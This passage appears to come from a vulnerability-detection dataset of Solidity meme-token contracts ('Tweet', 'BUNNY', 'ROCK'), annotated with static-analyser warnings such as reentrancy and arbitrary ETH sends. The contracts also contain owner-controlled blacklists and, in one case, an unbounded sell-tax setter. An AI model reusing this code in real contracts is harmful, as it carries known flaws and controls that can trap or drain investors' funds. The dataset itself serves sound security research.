the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8b4088e\n\t\t\t\t// reentrancy-eth | ID: 8a2cbfb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8b4088e\n\t\t\t\t\t// reentrancy-eth | ID: 8a2cbfb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 8a2cbfb\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8a2cbfb\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8a2cbfb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8b4088e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8a2cbfb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8a2cbfb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8b4088e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8b4088e\n\t\t// reentrancy-events | ID: 6bfccb3\n\t\t// reentrancy-events | ID: 8cf6da6\n\t\t// reentrancy-benign | ID: fa41367\n\t\t// reentrancy-benign | ID: 4cfd16a\n\t\t// reentrancy-eth | ID: 8a2cbfb\n\t\t// reentrancy-eth | ID: c68c00d\n\t\t// reentrancy-eth | ID: b4ad168\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 80657c5): Tweet.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 80657c5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8b4088e\n\t\t// reentrancy-events | ID: 6bfccb3\n\t\t// reentrancy-events | ID: 8cf6da6\n\t\t// reentrancy-eth | ID: 8a2cbfb\n\t\t// reentrancy-eth | ID: c68c00d\n\t\t// reentrancy-eth | ID: b4ad168\n\t\t// arbitrary-send-eth | ID: 80657c5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6bfccb3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6bfccb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa41367): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fa41367: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a13aef0): Tweet.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a13aef0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6c4285b): Tweet.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6c4285b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c68c00d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c68c00d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b4ad168): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b4ad168: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 6bfccb3\n\t\t// reentrancy-benign | ID: fa41367\n\t\t// reentrancy-eth | ID: c68c00d\n\t\t// reentrancy-eth | ID: b4ad168\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 6bfccb3\n\t\t// reentrancy-benign | ID: fa41367\n\t\t// reentrancy-eth | ID: c68c00d\n\t\t// reentrancy-eth | ID: b4ad168\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 6bfccb3\n\t\t// reentrancy-benign | ID: fa41367\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 6c4285b\n\t\t// reentrancy-eth | ID: c68c00d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: a13aef0\n\t\t// reentrancy-eth | ID: c68c00d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: c68c00d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c68c00d\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a7c7698): Tweet.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for a7c7698: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: a7c7698\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10801.sol",
"size_bytes": 21628,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BUNNY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ca557ea): BUNNY._taxWallet should be immutable \n\t// Recommendation for ca557ea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69059d4): BUNNY._initialBuyTax should be constant \n\t// Recommendation for 69059d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 174af41): BUNNY._initialSellTax should be constant \n\t// Recommendation for 174af41: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b653066): BUNNY._reduceBuyTaxAt should be constant \n\t// Recommendation for b653066: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28664ef): BUNNY._reduceSellTaxAt should be constant \n\t// Recommendation for 28664ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6fdad74): BUNNY._preventSwapBefore should be constant \n\t// Recommendation for 6fdad74: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bunny Dog\";\n\n string private constant _symbol = unicode\"BUNNY\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8492146): BUNNY._taxSwapThreshold should be constant \n\t// Recommendation for 8492146: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3294fe): BUNNY._maxTaxSwap should be constant \n\t// Recommendation for e3294fe: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 217cb7c): BUNNY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 217cb7c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a3ebd63): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a3ebd63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8781be6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8781be6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a3ebd63\n\t\t// reentrancy-benign | ID: 8781be6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a3ebd63\n\t\t// reentrancy-benign | ID: 8781be6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 07a859f): BUNNY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 07a859f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8781be6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a3ebd63\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eff228d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eff228d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9fa539a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9fa539a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: eff228d\n\t\t\t\t// reentrancy-eth | ID: 9fa539a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: eff228d\n\t\t\t\t\t// reentrancy-eth | ID: 9fa539a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9fa539a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9fa539a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9fa539a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: eff228d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9fa539a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9fa539a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: eff228d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a3ebd63\n\t\t// reentrancy-events | ID: eff228d\n\t\t// reentrancy-benign | ID: 8781be6\n\t\t// reentrancy-eth | ID: 9fa539a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8e06d1a): BUNNY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8e06d1a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a3ebd63\n\t\t// reentrancy-events | ID: eff228d\n\t\t// reentrancy-eth | ID: 9fa539a\n\t\t// arbitrary-send-eth | ID: 8e06d1a\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c6fe50f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c6fe50f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5eb07c0): BUNNY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5eb07c0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5a4ee22): BUNNY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5a4ee22: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bcd40f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bcd40f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c6fe50f\n\t\t// reentrancy-eth | ID: bcd40f6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c6fe50f\n\t\t// unused-return | ID: 5a4ee22\n\t\t// reentrancy-eth | ID: bcd40f6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c6fe50f\n\t\t// unused-return | ID: 5eb07c0\n\t\t// reentrancy-eth | ID: bcd40f6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c6fe50f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bcd40f6\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10802.sol",
"size_bytes": 19688,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bcbf504): ROCK.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for bcbf504: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e1d739e): ROCK.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for e1d739e: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2f2e497): ROCK.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 2f2e497: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 08d7cfe): ROCK.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 08d7cfe: Consider ordering multiplication before division.\ncontract ROCK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c85776d): ROCK._taxWallet should be immutable \n\t// Recommendation for c85776d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 77d089d): ROCK._initialBuyTax should be constant \n\t// Recommendation for 77d089d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ae5abb): ROCK._initialSellTax should be constant \n\t// Recommendation for 7ae5abb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58874c7): ROCK._finalBuyTax should be constant \n\t// Recommendation for 58874c7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ed5ed1): ROCK._finalSellTax should be constant \n\t// Recommendation for 4ed5ed1: Add the 'constant' attribute to state variables 